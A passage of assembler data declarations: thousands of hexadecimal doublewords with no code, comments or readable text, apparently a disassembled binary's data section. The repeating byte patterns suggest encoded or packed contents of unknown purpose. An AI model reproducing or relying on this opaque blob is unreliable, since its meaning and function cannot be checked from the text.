0A6F5C4D2h, 89D130F2h, 3447CC13h dd 0A8BA7FA3h, 666FDC95h, 9F3968E2h, 6861C74Eh, 5B443215h dd 0C24B98CDh, 0B1F46507h, 55C3DE49h, 0E795C5AFh, 662233D4h dd 0DE41C715h, 3092938h, 3AE68847h, 8CA341D6h, 127751D0h dd 1159F894h, 8C851689h, 80E0B313h, 0E7548E66h, 5C7405E7h dd 3C940339h, 67AF334h, 9DA63D75h, 74EB973h, 664439FDh dd 800815h, 5181CE48h, 1973668Ah, 0E7256DECh, 142930D6h dd 2D2B35Ch, 4FBF6B51h, 2AFB3DEh, 0E7156B51h, 141A30FEh dd 668FDB5Ch, 4ECC3215h, 0FD53341Eh, 0D794B994h, 9F8E2019h dd 7895A79Eh, 0E82D3407h, 66113214h, 5735B1ECh, 67422035h dd 6236B61Ah, 0EE1E3215h, 66883219h, 6642B81Ah, 0EE2D3215h dd 66113215h, 0E487F12Ch, 664431EFh, 662FDBEDh, 0B8633215h dd 9D3AEC3Bh, 59C5E38h, 5FA48EB1h, 0F0933DC6h, 9E77CDEFh dd 6647EBFCh, 662ADB15h, 0B64B3215h, 43ED46B9h, 0E383F836h dd 603B47B5h, 66113217h, 70375475h, 3025CA7Dh, 0B5060694h dd 3D1A4A40h, 335B8F40h, 8D75396Dh, 0D02DCA48h, 0DD77521Bh dd 774D386h, 664EBB1Ah, 63CB3215h, 0D9113215h, 786EB55Dh dd 69C4CB95h, 66227796h, 0DC43C715h, 37561F38h, 671EE13Ch dd 4BE1B3DEh, 6940EC38h, 66883F99h, 664CDB15h, 52F33215h dd 983E1C84h, 0D9DFDDD8h, 99BBCDEAh, 697DC93Ch, 6611399Ch dd 668EDB15h, 83103215h, 2BE014E3h, 6611B8FCh, 0D6D8CE15h dd 0E4ADB2EAh, 0A7A2F33Dh, 93ED6A97h, 0B67FA35Ch, 0ACFA5284h dd 0D81DF9CEh, 73A64ED4h, 0D9DF6474h, 3FBE52B2h, 0E77DCC9Ch dd 4F20F4FBh, 6566F34Fh, 1F4DFC94h, 0A0A30534h, 0C535D5Fh dd 8B50C494h, 97659828h, 662FDB4Bh, 439B3215h, 0B19A16C7h dd 0C33DE6A6h, 0E74B18E4h, 236A69D6h, 4463B35Dh, 4F0FAE6Eh dd 44E1B3DEh, 0E75AAE6Eh, 23F369FEh, 76C53D5Dh, 69223215h dd 66113893h, 668DDB15h, 0BDBF3215h, 0ED6B7DAEh, 741D8390h dd 6D093D13h, 8F443215h, 66223213h, 22BDB2F4h, 0F30397DDh dd 60562CC4h, 6629B31Ah, 69713215h, 66883292h, 0B0F33D15h dd 579FB174h, 67172035h, 64F4B61Ah, 8F243215h, 66223206h dd 58D09062h, 2CEABCB4h, 46CF3175h, 85A589C6h, 3159742Eh dd 6688B81Ah, 71F3215h, 0E42DEA2Eh, 66113208h, 66883DFCh dd 0E49A115h, 68F025E4h, 2AEF7E4Ah, 4910625Ah, 0E04BE12Ch dd 99DDCAF8h, 8AB60EDh, 0E7E9C75Bh, 930A5DFFh, 3CF43374h dd 661139FCh, 8DF42D15h, 0DBEAFCB8h, 0A1A57D4Ch, 88A56246h dd 0D6D0D59Dh, 3DBC02F4h, 6623B51Ah, 0CCED3215h, 9F035475h dd 0E525E89Fh, 7AAB36F9h, 66118931h, 95893215h, 931F399Fh dd 0B5926244h, 0D649F79Dh dd 3F6032B8h, 0D61461E9h, 0EE6E0628h, 8D916AD6h, 0C47BB2D1h dd 61FEB35h, 6620BB1Ah, 0D6A13215h, 668821FCh, 20F35815h dd 1D906C99h, 0A86C766Ah, 0EF3CBA6Bh, 0FA5DC196h, 8FEA3A74h dd 66113218h, 94D1A41Eh, 88077451h, 24F458A2h, 0E7E4985Ah dd 75CA25FEh, 30BF1B10h, 756025ABh, 38E23310h, 66883EFCh dd 0D5D7E215h, 0FEEA9325h, 8E08A522h, 62306239h, 0E7443215h dd 526FCFD6h, 0E7D21B47h, 52C5CFFEh, 6EAD6A47h, 0FF223215h dd 0F61D389Bh, 367FE9F2h, 0EF40DE96h, 3D7A1609h, 661120FCh dd 398E7315h, 5F5034A1h, 0E38B10D9h, 87B009C1h, 0CD47AAE5h dd 0ED99B875h, 33DB53EFh, 4F738A45h, 23543AEh, 4F35893Ch dd 88236AD0h, 0D398CB48h, 609A1228h, 0E383CAE9h, 60301224h dd 66113214h, 690A3D75h, 8F443215h, 6622321Fh, 363F0A9Ah dd 0DA2063F4h, 9E2477BFh, 7E5851Ah, 85986174h, 668CF194h dd 0A5C73215h, 423EB511h, 6935169Eh, 66882490h, 76C73D15h dd 8F223215h, 6611321Eh, 24DEE9BDh, 582C96DAh, 69DF599Fh dd 66113890h, 0D9EE5215h, 0DC225E21h, 99431178h, 0E54A1621h dd 0ED7D36D1h, 0EF111619h, 62E7B3F0h, 0E5113215h, 4A0F36D0h dd 0E14B6E31h, 66223212h, 9FA63D75h, 8FE96942h, 66443206h dd 1F1A123Fh, 3D5FC314h, 79733CAh, 69C9D321h, 305DCAC6h dd 0A0906C41h, 66883211h, 0E140F496h, 697E1621h, 66113399h dd 0EFDACA15h, 62FD63F7h, 67223215h, 0A4926BDFh, 429CB511h dd 69C53D49h, 8F223215h, 6611321Fh, 0F588C5C0h, 0E7B0D5F6h dd 0ECCB8465h, 6EECDCCh, 669ADB75h, 0DA2B3215h, 0CCD933B6h dd 520BC63Fh, 75A0D2D5h, 0D7607520h, 7EA851Ah, 53FFB373h dd 0DBDD5311h, 66443214h, 9A7FDC3Ch, 0A6578344h, 870831F4h dd 0C58DB298h, 0E671F395h, 0BFE7BFFCh, 8F08EBE3h, 3F8CBA95h dd 67A33D75h, 9F113215h, 668CB41Ah, 0DC223215h, 643D4F1h dd 661AB31Ah, 63603215h, 16443215h, 0A0FB923Ah, 0C8FFB34Ch dd 7865B23h, 0E712C7BFh, 68941611h, 33493009h, 0B8EE82A8h dd 6081B353h, 4F990FBDh, 34E86FFDh, 4DF00AAFh, 0E796C547h dd 565F33DFh, 0A5FBB372h, 0E7E0B211h, 7D204AD7h, 0EAC8B325h dd 672F39EFh, 9EA168C5h, 0E220C238h, 6636DB6Ch, 36773215h dd 1649AEFCh, 0F8880763h, 0B9A9227Ch, 4DEBC9A4h, 1EE0ADF1h dd 0EF443259h, 62991609h, 4F113215h, 69E869CDh, 66443098h dd 9E435215h, 34E89974h, 0A4096841h, 66443211h, 0E126F096h dd 8F4D1601h, 6688321Dh, 61D479h, 0F36348CBh, 6601BF1Ah dd 6D613215h, 78443215h, 564A4498h, 882AB9D9h, 5277236Ah dd 0A2C56931h, 66223211h, 6610B61Ah, 0ED713215h, 0EF171619h dd 62E1B3F6h, 0E5113215h, 7A0F36D6h, 76AD6E31h, 29223215h dd 14FFB69Ch, 8AFAF451h, 0E121DC14h, 9917A3E8h, 0E54F1621h dd 0EB8736D1h, 66443211h, 7435275h, 0E7F3BB47h, 668836D7h dd 6286B115h, 57062626h, 72221601h, 0E6E86E31h, 8F251CE2h dd 99DDE8D6h, 0B19A6375h, 9C6AB34Bh, 77AB959h, 1382B7D2h dd 6614340Ch, 0E5873215h, 66443213h, 91A95475h, 0EF4453E9h dd 0ED63BBE0h, 0A2C51639h, 66223211h, 0D84763ECh, 66883211h dd 671AC39Ch, 6426BDEh, 8FD1851Ah, 66883206h, 6E5C678Ah dd 9CFD8DAh, 2697649h, 0A281D30Dh, 7BF9294h, 662222FDh dd 98BC2915h, 9361F9B6h, 0C9CD4A9Ah, 7B2B0A45h, 661FDA09h dd 58CE3215h, 0E33BF04Dh, 7690173Fh, 1E8BB16Fh, 69E96C4Dh dd 66442791h, 69A53D15h, 8F113215h, 6688321Fh, 0C9A5B438h dd 9CB19B6Dh, 0DF402F86h, 66883215h, 0DC16C314h, 66223215h dd 7C12F814h, 0E4876B4Fh, 66443206h, 662EDB75h, 304A3215h dd 0FACF2FD7h, 0E71CA1D2h, 0ED430CF9h, 741D8390h, 0F303CA13h dd 60562CC4h, 0B7A95475h, 37706A43h, 9977CDACh, 3F8A33EAh dd 663DBE1Ah, 0EF1E3215h, 6688320Ch, 664426FCh, 56C89A15h dd 648C2ECBh, 0B082EA88h, 0BBA6D8B7h, 0C5A28CC4h, 87ACB170h dd 678E2014h, 60BFB61Ah, 5DDB3215h, 43933DCDh, 6883215h dd 6646B01Ah, 9FA93215h, 19D2B373h, 0BCB353B9h, 671EB41Ah dd 0EC2D3215h, 6611321Dh, 668AB41Ah, 7243215h, 461F879Ch dd 68F83407h, 0A3883215h, 46122B48h, 0C6E153A1h, 0EFDECFF8h dd 0FB03CE11h, 605D47B5h, 662221FCh, 724EF15h, 92ABF67h dd 0E585930Eh, 0D70188FEh, 89B75D62h, 2D6C8B44h, 2A451949h dd 677B2231h, 0E71D1649h, 82841679h, 696F6E5Eh, 6622339Ah dd 14F8CA15h, 69883213h, 66443994h, 6624DB15h, 66F73215h dd 14D4CFFDh, 396006EAh, 626F696h, 0D18D1Ah, 7F91BAFh dd 664422FCh, 84ABC715h, 0CEC566AFh, 77D4B87Ch, 0D78952A1h dd 87A7F5ECh, 67172014h, 93883215h, 3D6006EAh, 6626F694h dd 0E81E3215h, 6688321Dh, 6646B01Ah, 7423215h, 3F3506EAh dd 668CF694h, 69243215h, 77CACAA2h, 35113215h, 8C96BFA3h dd 0C546C143h, 0E741D1FAh, 0D6E637D0h, 1E198A73h, 52CF534Fh dd 85AB6131h, 6615F194h, 0A50B3215h, 4258B511h, 61CA5249h dd 38113215h, 3E18A52Dh, 0EB4BBEC1h, 66223215h, 6600DB4Dh dd 14C13215h, 42D53830h, 34EAB95Eh, 0DAF3F14Eh, 79C35B1h dd 0E71B6642h, 662236D2h, 62D6B115h, 3AAC0E92h, 0B33BDBE9h dd 6942CDEAh, 76F8F1AAh, 0E1883215h, 0F2C502C6h, 45462379h dd 742085AEh, 7A9A897h, 46758F96h, 69233407h, 66144691h dd 6685DB15h, 76423215h, 0E83627Bh, 1DDF62A0h, 4D899E7Eh dd 74488388h, 6627DB13h, 0B63E3215h, 0EDA783FEh, 74665798h dd 0D2925213h, 39D0B374h, 67F7D65Dh, 39FB65CCh, 4F5DD65Dh dd 36ED6DECh, 46DD20ADh, 6B823F71h, 0EF0F6454h, 2E5F8A58h dd 0C0A5E2E2h, 67D9B7A8h, 9F0B6AD4h, 541CDB94h, 317D08C4h dd 66418946h, 0B9AB3215h, 39E81B4Eh, 233B61EDh, 0A647D1D5h dd 0A5DC35F6h, 3716D1D5h, 0ADA8EEA4h, 0F87B24Ch, 9F79EA9Dh dd 661BB91Ah, 0E7E83215h, 1B8A97CBh, 7796456h, 0AE20C7BFh dd 0AEB9F324h, 6643DB75h, 28DF3215h, 0F213B81Ah, 6699DA82h dd 11FC3215h, 0A05CD609h, 37795F91h, 0A74118C4h, 8F66F10Eh dd 66223218h, 1FB5BDDh, 5CDD6331h, 2664D0AAh, 0CD436C5Fh dd 849860ECh, 668CF094h, 0A4C73215h, 12DD6011h, 0E94B3631h dd 9ED41611h, 3D6006EAh, 6626F694h, 30713215h, 0DD6EB373h dd 61AC6B4Ch, 6223215h, 0F90BD3FEh, 6F613AC4h, 87443215h dd 0AD595CC8h, 57E46114h, 5277534Fh, 0A2C76B31h, 77A03D11h dd 6113215h, 668837FDh, 5A9C8D15h, 7A481Eh, 7BEABAEh, 34AC069Eh dd 0A4C5D09Ch, 66223211h, 6615F094h, 720F3215h, 8E246E31h dd 6622321Ah, 22341EC5h, 4242C276h, 68CDBB9Fh, 66FE051h dd 0EA1E6C74h, 66883211h, 7CA88973h, 83AB6774h, 6615F794h dd 0A30B3215h, 42680111h, 55061E24h, 934D1639h, 995EB8FCh dd 6648DBEAh, 504D3215h, 0A37399E7h, 0A310A4ADh, 0E44B2533h dd 66223218h, 66113AFCh, 0DF147315h, 0C4F71720h, 0C6A7F5F0h dd 64172B60h, 9F883215h, 4268B343h, 2DDF30A6h, 11AB604Eh dd 0E7AA1405h, 0F87E88E7h, 7CC8B37Fh, 67ED893Dh, 0E868C6h dd 835FE194h, 68943D74h, 661EB71Ah, 8EE83215h, 66443213h dd 68560D0Fh, 9A4B4E5Ch, 0E671B274h, 6623B11Ah, 74CB3215h dd 62113215h dd 3903A2D5h, 7408E1F6h, 0F668C03Ah, 0AE5AC140h, 5A366487h dd 4F3C2924h, 0AD236CE6h, 572DF194h, 6E614A0Eh, 0F5443215h dd 1DD70F31h, 367AA15Dh, 9977CDADh, 3E871BEAh, 662223FCh dd 0DE800415h, 13958A97h, 2C51A29Fh, 4B6A570Ch, 0ADF8A89Eh dd 69883215h, 66443A9Ah, 64A53D15h, 6113215h, 0D3D96274h dd 3FA8BA80h, 0AADCF6EBh, 0E612FE95h, 87A0AAF9h, 76C73D4Dh dd 6223215h, 66113AFDh, 4EA26415h, 46238488h, 0E436C4Ah dd 66113215h, 75AC1E94h, 4F77257Bh, 62A31619h, 717F2131h dd 0E5876B26h, 66443214h, 8AA3CBE9h, 66113211h, 0DBAC1E9Ch dd 645D4CAFh, 1A42F794h, 0A3903D4Fh, 371E13B9h, 4F5CC794h dd 0BBD57AC7h, 5F01F794h, 930974DDh, 7CB431D8h, 8F7FDB34h dd 66113204h, 0E51B92FCh, 0C111AEA8h, 0D19B4CF4h, 327E275Ah dd 674BB35Eh, 4F5F0361h, 489860DEh, 0E757946Bh, 0ECD044FFh dd 0D1AEB30Dh, 4F30D8A4h, 0E11E68C6h, 6688321Fh, 691C6575h dd 6622329Ch, 0E39A5315h, 609A3EA4h, 6664B31Ah, 8F423215h dd 6611321Eh, 154BC876h, 298D029Eh, 8FD21F62h, 6611321Ch dd 152DA1D7h, 0BCA80F50h, 0EDDA5317h, 740FE380h, 0A6095213h dd 606E4604h, 9CF3DB74h, 0E21ECDEAh, 66883203h, 664423FCh dd 6D32DB15h, 0A828C41Bh, 76A52557h, 5A61E65Ah, 8F423953h dd 6611321Ah, 6DFA0DBDh, 0C11D57B5h, 0CF7F27A0h, 734A89Bh dd 1328B7D2h, 6646340Ch, 6DE3215h, 69B8F395h, 6688319Bh dd 99A8B215h, 96AB6274h, 8F496945h, 66883210h, 0C00B40AEh dd 68943D5Ah, 0D11ECE75h, 9F0853CBh, 5C73D95h, 69223215h dd 66113A9Dh, 64003D15h, 6443215h, 15C9B374h, 0E7662C38h dd 5E8AED6h, 0E78F3302h, 542AEFEh, 15D2B302h, 69FF2C38h dd 66443E93h, 60A63D15h, 69113215h, 66883297h, 67FA6415h dd 67223215h, 69716CE6h, 66883096h, 7AEB815h, 6622FEFCh dd 0EA1E5215h, 66883216h, 0E795D395h, 0DC9924D5h, 5879534Dh dd 0EF88327Fh, 99F31609h, 6979CB3Dh, 6611339Dh, 66E0CE15h dd 0E7443215h, 637A1639h, 6A380BACh, 428CB331h, 5FFD374Dh dd 74CB524Ch, 59113215h, 328314F4h, 0EE33F612h, 0F1FB71F2h dd 0C00282Eh, 0A90354F5h, 6656DB74h, 3F993215h, 0C353B6B8h dd 351C5CD9h, 0D452220Bh, 0A0A91B36h, 660BB27Dh, 429CBB15h dd 1395DAFh, 3C8B37Dh, 2C731931h, 7818F894h, 0E7061C45h dd 1A7CA9FFh, 3CC0133Bh, 0EA8752ECh, 66443213h, 6622BE1Ah dd 69713215h, 66883294h, 66C43D15h, 7223215h, 0ECFAB374h dd 0E7E2462Ah, 4B003DD6h, 0E7E91B3Fh, 4B553DFEh, 0EC4BB33Fh dd 9A2E462Ah, 0D7A7B9E0h, 69172019h, 66883A97h, 64C73D15h dd 6223215h, 0B784B974h, 68E200Bh, 664426FCh, 946A9615h dd 0D31B53C8h, 56B7446Fh, 0C88C15C8h, 0F49F2342h, 9DAE3D50h dd 5735B174h, 67422035h, 9096B61Ah, 8F71CDEAh, 66883205h dd 73D13070h, 819CFCA8h, 0B84D3BFCh, 0DCB2B85h, 0BE7F53EDh dd 6628B01Ah, 5FED3215h, 240E3DC6h, 9FBBCDF8h, 6645507Dh dd 4225BB15h, 38AC3EEAh, 6ACF64EDh, 62E6B331h, 6113215h dd 8E08DEA5h, 8FC55349h, 696A65BFh, 3234F394h, 9FA13E35h dd 3261DB94h, 0A7A33E35h, 695965BFh, 0A959B275h, 6A4D8B73h dd 63986074h, 4F113215h, 429CB9C4h, 8F40F696h, 66223201h dd 8B9CADB3h, 0A3D946DDh, 3DC2D5C0h, 0F256EF82h, 0ABE1EE04h dd 0B67E1BA5h, 90D18546h, 0E6E5CCCAh, 9E112AE2h, 9F2B064Eh dd 6EAD52BFh, 0BC223215h, 4D8B1EDAh, 3431AB51h, 6644B41Ah dd 77A3215h, 3A585A45h, 6A013215h, 61D6A31h, 0D92DF09Fh dd 6BA53CEh, 8FA5E395h, 66443213h, 27E67BB3h, 8F70672Ah dd 9977E3EEh, 6640B21Ah, 6423215h, 8A925374h, 4284BB11h dd 664432ACh, 0ECD33315h, 8E716B14h, 66883218h, 0D89A702Ah dd 0EA3091E2h, 0EF9A585Fh, 6687DBBDh, 7C03215h, 0A23FF366h dd 2DB872C0h, 8285054Bh, 7BF56D1Ch, 69CA0E74h, 66117091h dd 317DCE15h, 3A286D7Dh, 399A6D06h, 57026E79h, 8FE86DEDh dd 66443204h, 0A54F1364h, 7E0ED059h, 0C57CCBC7h, 889010ACh dd 63A03D97h, 113215h, 6070D994h, 67EBDB74h, 423215h, 69C309ACh dd 31E9ECA2h, 0A1C5D59Ch, 66223211h, 6615DD94h, 5A0F3215h dd 7ACD6E31h, 0EA2D5231h, 66113213h, 0F126DA94h, 6BFB1D04h dd 7173FA6h, 6615DE94h, 4A013215h, 0EFB1BB31h, 69426FFEh dd 6611209Ah, 6684DA15h, 0F1AB3215h, 0F197EBD4h, 0BDDE6D92h dd 0ECD7690Ah, 0E5B853DAh, 62AB36F9h, 66108A31h, 96893215h dd 691C2A16h, 66223394h, 0D847CE15h, 66883210h, 52CFC114h dd 62E6B331h, 9E113215h, 35608744h, 9ECCDD9Dh, 6ECB6B4Eh dd 35113215h, 0C33048BAh, 0CC1C129Fh, 6625BC1Ah, 713215h dd 7E8F09Eh, 2FAFB374h, 4F4ABE78h, 0C7AE65EEh, 0E7973E0Eh dd 4C373CF2h, 0DFC5B364h, 0A743C801h, 0B17F31F2h, 0D3ABB35Ah dd 67350107h, 6EF86DEEh, 1D883215h, 9E77433Bh, 0E2DF6CAh dd 66114C7Dh, 0DCAC269Ch, 66443211h, 6978E13Ch, 66112E94h dd 74615215h, 6E443215h, 77C7737Fh, 5B370996h, 0C2C9295Ah dd 0D312E6FFh, 0E4ECB26Bh, 0ED426274h, 0A20B1611h, 0E24B6911h dd 66223212h, 6610B41Ah, 0CD743215h, 60C23D75h, 69223215h dd 6611329Eh, 9C373D15h, 4270CD74h, 62E6B14Eh, 63A863EDh dd 0E7883215h, 0BD0DF0D3h, 0E7EC3363h, 0BD58F0FBh, 76616B63h dd 72443215h, 0D2D31529h, 0C4BD8415h, 7EA0CD0Dh, 31613370h dd 78059FAAh, 79E6B353h, 0E7DA0A01h, 652D53FAh, 0B0E5B377h dd 34120208h, 0A4F230AFh, 3C93031Eh, 0BFEF594h, 9E98737Ah dd 669BDB4Ah, 3C623215h, 23AD4A20h, 0F4D53644h, 5A9AC1F3h dd 0A2C43B90h, 0EF2DF19Bh, 6611321Dh, 668ABE1Ah, 7243215h dd 66223AFCh, 2D37515h, 99C9B60Fh, 80CD648Eh, 6626F494h dd 88903215h, 66883211h, 3A600692h, 93063E9Ch, 27CD73h dd 47AC1E94h, 62CF5419h, 64E6B331h, 113215h, 8F841310h dd 66443210h, 9AA3D09h, 69D20E94h, 66891291h, 61C23D15h dd 6223215h, 0D40DDA95h, 0ADB45318h, 674FB61Ah, 61CB3215h dd 0D1113215h, 87A59CABh, 0A478E611h, 676AB61Ah, 35713215h dd 3E56B973h, 664EBE1Ah, 63CB3215h, 0FE113215h, 0F428D02Ah dd 698E0E74h, 66231B91h, 5B77CA15h, 0E28717EAh, 6644334Dh dd 0E92DCB75h, 66113217h, 0E95375h, 69BB1C28h, 66224190h dd 661EDB15h, 3EFA3215h, 6A582D53h, 0A2526DF7h, 216E46EBh dd 0D8DE633Bh, 2BAA38AEh, 2BA8DC94h, 0B0E65F8Ch, 0AB7EB353h dd 0EF5B9957h, 97236CE4h, 8F48339Fh, 66883212h, 0C374687h dd 0E5E4F80Fh, 7A9836F9h, 46788131h, 0EE4B69CDh, 6622321Dh dd 98C4B275h, 756B973h, 0E24B9229h, 66223322h, 66113DFCh dd 0D6E60215h, 4D598CD1h, 21540044h, 0D55B15FAh, 33AC3E9Eh dd 0A3C5D79Ch, 66223211h, 6615F794h, 4A0F3215h, 0E5B86E31h dd 52AB36F9h, 66118C31h, 96013215h, 664BDB4Bh, 0F63D3215h dd 0D65AC985h, 90F76F2Eh, 0EC3F4D2Dh, 67A8DBB3h, 0E81E3215h dd 66883214h, 8F8D03ECh, 6622321Ch, 7FB226B5h, 0AA97C4F9h dd 67FA645Dh, 67223215h, 0EF1E6CE4h, 66883219h, 6642BC1Ah dd 0E42D3215h, 66113215h, 6688FCFCh, 67C73D15h, 9A223215h dd 6605BA1Ah dd 8EE83215h, 6644321Ch, 490E601Eh, 0F2019EF9h, 0EDEE6A38h dd 0D81253CAh, 78885094h, 2FFBD494h, 0E7C63403h, 64044EE3h dd 0EDD3BB13h, 0A2921621h, 6A053D11h, 6443215h, 0EDA18D73h dd 6611B11Ah, 8FE93215h, 6644326Eh, 7F985475h, 77052D2h dd 0EF8CDE96h, 90FA1621h, 0DF22877Eh, 66A459E5h, 69D6C324h dd 66443892h, 8FA35215h, 6303B39Eh, 6E9E59Fh, 83B975h dd 773AAACh, 8F70C99Eh, 6688322Ah, 0D7B15275h, 0DD4453E1h dd 8F708FBCh, 6688321Ah, 5110C94Eh, 0CA2E5426h, 54C19225h dd 339670EAh, 0F915D2A8h, 64C7F341h, 2168DF94h, 3FDD6068h dd 664DDB48h, 12393215h, 877F518Fh, 9595F912h, 77C43DB1h dd 8F223215h, 66113219h, 0AC47DAF7h, 48F6316Ch, 0E2B49E1Fh dd 0B79CB9EDh, 698E200Bh, 66443593h, 67A53D15h, 93113215h dd 0E387FB90h, 6644320Ah, 6623B81Ah, 6E43215h, 8FC1F895h dd 66443212h, 6859F157h, 70155F3h, 7859879Ch, 0EDB83407h dd 0EF711619h, 62D2B3F6h, 0E5883215h, 7AC336D6h, 0ED2D6E31h dd 6611321Eh, 668834FCh, 82EE6715h, 93A6A529h, 6611337Dh dd 428CB915h, 9F40F696h, 9944C7D6h, 629A5423h, 644CB131h dd 76AD52E9h, 0ED223215h, 17228ACDh, 8466C68Bh, 0F14DA02Ch dd 0EDD61A7Eh, 0A52D53D3h, 6742B61Ah, 6BAD3215h, 3223215h dd 5F3964C4h, 0D218B16Dh, 9A1A9C84h, 6628DB75h, 0A6A33215h dd 0FC23B86Bh, 0A70D0F45h, 374382A1h, 8D99F79Dh, 0E7AC3E9Eh dd 664436D1h, 6AA83D15h, 8F113215h, 66883212h, 91F10B8Ah dd 9F0475h, 46E18645h, 620354F6h, 6480B331h, 6223215h dd 88028A73h, 0B32DC094h, 0E6253EE8h, 0E22D42EEh, 6611361Dh dd 8FB4CEECh, 6712B61Ah, 5ADA3215h, 2B953DFEh, 69883214h dd 66443592h, 67A73D15h, 9F113215h, 0E287F029h, 6644332Dh dd 0AD1ECAECh, 673FB61Ah, 0DDE83215h, 22720E9Bh, 662238FCh dd 7E01B215h, 0ABF021A8h, 7FE592Ch, 43DD0F73h, 671FB61Ah dd 697D3215h, 66443E98h, 0BDA35215h, 1834FD66h, 622A8873h dd 698E0E74h, 6622C191h, 68993D15h, 8F883215h, 6644321Ch dd 6ED99D6Fh, 73A35A6Dh, 696B0EE1h, 66474D91h, 6630DB15h dd 6C9A3215h, 0C60E5812h, 78DC5B43h, 0C4D399Ah, 0E672A62Bh dd 6684BC1Ah, 0E04B3215h, 66223213h, 6611B31Ah, 5BEE3215h dd 0E34BCD3Bh, 66223275h, 64AA61ECh, 0E7883215h, 20368FEh dd 0E7D13319h, 25668D6h, 3D8BB819h, 664438FCh, 0FCF0B915h dd 0CAC38FC4h, 229EEBh, 0D0165444h, 0D3BAE5h, 0D9124Fh dd 9508524Ch, 6650DA74h, 0AE583215h, 0A321059Eh, 0B558955Bh dd 0F04D3Eh, 0D336001Ah, 0D11EB571h, 5AE969ECh, 23C03DB5h dd 9A223215h, 6615DE94h, 52013215h, 295F8C31h, 839A7BF2h dd 67A72AA5h, 6C616CE5h, 81443215h, 3C04CCF3h, 239E4A20h dd 66FBDB44h, 243215h, 0F6CEDD94h, 66113CFCh, 865DD615h dd 91B917E2h, 0B9B75E8Dh, 7F92C4Eh, 7859879Ch, 72AD3407h dd 5B223215h, 0CFFDE80Bh, 0C271906Ah, 21CF0A77h, 3CF60CBFh dd 0EBCE78BEh, 7E1C6F88h, 6657DB13h, 47753215h, 4A8510Eh dd 2C817D6Eh, 8D5322D0h, 0CE8D63EBh, 6C2CDEFh, 751B875h dd 66CE3D47h, 3D223215h, 66105A74h, 62033215h, 6280B131h dd 31DAF1ECh, 0A190D59Ch, 66883211h, 6640DD94h, 5AA53215h dd 62986E31h, 6687DB31h, 95EE3215h, 78A85103h, 0CCCF79Ch dd 14EF1AD1h, 30245256h, 61CA534Eh, 92113215h, 2B3FC5F7h dd 0ED225DE8h, 99436DE4h, 0DE412263h, 182A3E41h, 62607614h dd 320F6A4Dh, 66F9019h, 0BAC7F894h, 63AD349Dh, 0D4223215h dd 61288318h, 0BB0DBB74h, 9A42200Ch, 3E0606EAh, 6615F694h dd 74613215h, 0DC443215h, 23DEC50h, 92446174h, 0B1F2CEAAh dd 0D1534E5Eh, 66355A78h, 6A983215h, 66948B31h, 0A8453215h dd 67A63D4Ch, 9F113215h, 66883BFCh, 0A400CC15h, 0B83FB126h dd 0DB9CAA72h, 609A1E48h, 6642B81Ah, 6423215h, 74E6274h dd 6686B81Ah, 6FAD3215h, 84223215h, 2930B1C2h, 66DFB54Ah dd 0E14BCAB8h, 66223212h, 83C2B275h, 30E95375h, 83182AABh dd 63C4F33Bh, 81D7B35Bh, 67D3108Fh, 22476CE5h, 800F1631h dd 9E26FC08h, 669ADBBEh, 0DFE33215h, 647A4C0Bh, 0BB7D325Fh dd 68EA589Eh, 0A656BDBAh, 4AAB8F98h, 0EA1E3407h, 66883214h dd 76AD9FE0h, 0A2223215h, 57513F4Eh, 0DD048BB0h, 4B6ACDFBh dd 4B410874h, 63C244Ah, 42AC7616h, 741D8D42h, 91A36E89h dd 76A2090Eh, 7B7EF594h, 0B9B31C53h, 7A47F594h, 91902ED2h dd 117009A8h, 418BF594h, 9E23B896h, 68933D4Ah, 8F883215h dd 6644321Ch, 49E6CDB1h, 7F4464A1h, 800164CBh, 6640F494h dd 88A33215h, 66113211h, 3AAC0692h, 6960369Ch, 66223597h dd 679B3D15h, 9F883215h, 664DDBBEh, 25A3215h, 0A218D30Dh dd 0EB739294h, 7449DFA8h, 68FC713h, 8ED98D1Ah, 66883210h dd 0C6E492B5h, 662ADBB5h, 0A4F73215h, 63D8C098h, 71B7281h dd 662220FCh, 5A8F9B15h, 9F74A604h, 0F581AD7Bh, 0F3C59843h dd 376A488Dh, 10B977ACh, 3F8C1B5Eh, 4E067616h, 10207710h dd 623CA5Eh, 6641B11Ah, 329A3215h, 6964CA66h, 66883499h dd 66CA3D15h, 7223215h, 383506EAh, 68CF696h, 0E1B3B373h dd 0A1C78DCFh, 0A5702D70h, 668821FCh, 0D26C1915h, 13EDAFCh dd 643CBBA3h, 95408098h, 63958059h, 6647337Dh, 4225BB15h dd 6680B51Ah, 0E24B3215h, 66223217h, 0EBE85375h, 7E1BBB88h dd 0B5BBC713h, 6623B91Ah, 8FE43215h, 0FFFFCEFDh, 4ECEDFFCh dd 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A45CC699h, 2AA8ED96h dd 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h dd 2A162C5Eh, 0CA798A15h, 2A492C5Eh, 13798A15h, 2A382C5Eh dd 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h dd 0D554A851h, 0D7BA8660h, 0EBCE2559h, 0F1439352h, 62CC32DCh dd 71BA8C0Ch, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh, 38C88260h dd 2C4DEF80h, 3ADF0746h, 0D552B119h, 5E0003C6h, 2A5492B8h dd 0AE307515h, 0A75CDDAEh, 0BB02578Fh, 0B0D9FB57h, 0A45CC28Dh dd 6FDD7BAEh, 0A25863E9h, 5FABA851h, 0AA307519h, 6DBD32DCh dd 2F168C0Ch, 331C30CBh, 2B967513h, 2ABD5414h, 0C3458A15h dd 0E3A8EDDAh, 0BA4582D7h, 3044h, 0A3720CEBh, 80FC3D38h dd 9EDF669Ah, 69E9D9ADh, 0E9000006h, 65Dh, 811F8B7Eh, 95339D91h dd 0AD4BADA5h, 0C361C7BDh, 0D876DED3h, 0A99E0C6Bh, 0BCB3A341h dd 0D1CABA58h, 0E9E3D371h, 8DEEED8Bh, 254F41Ch, 96E8FB76h dd 0B4B7150Fh, 0A2A505FEh, 173FB039h, 2D6FE907h, 82D0CF39h dd 0D2494018h, 0E9073961h, 0BDF6406Fh, 0E155ECF9h, 0CDD06800h dd 0B7BA2217h, 0F9A40C01h, 0C5C82C23h, 6C22056Fh, 8F651076h dd 463D3597h, 0DF9578E2h, 0CD2B25E7h, 52E074CAh, 64490712h dd 0A95F62FAh, 0ED484BB5h, 46B863FEh, 1290870h, 92A236E5h dd 5E9835Ch, 0CB8BA4F3h, 0B13ACE03h, 0AEB1DAAFh, 0D6EB3256h dd 0B372CABCh, 0B5E05250h, 8AD06A37h, 75B135BEh, 0DAD64456h 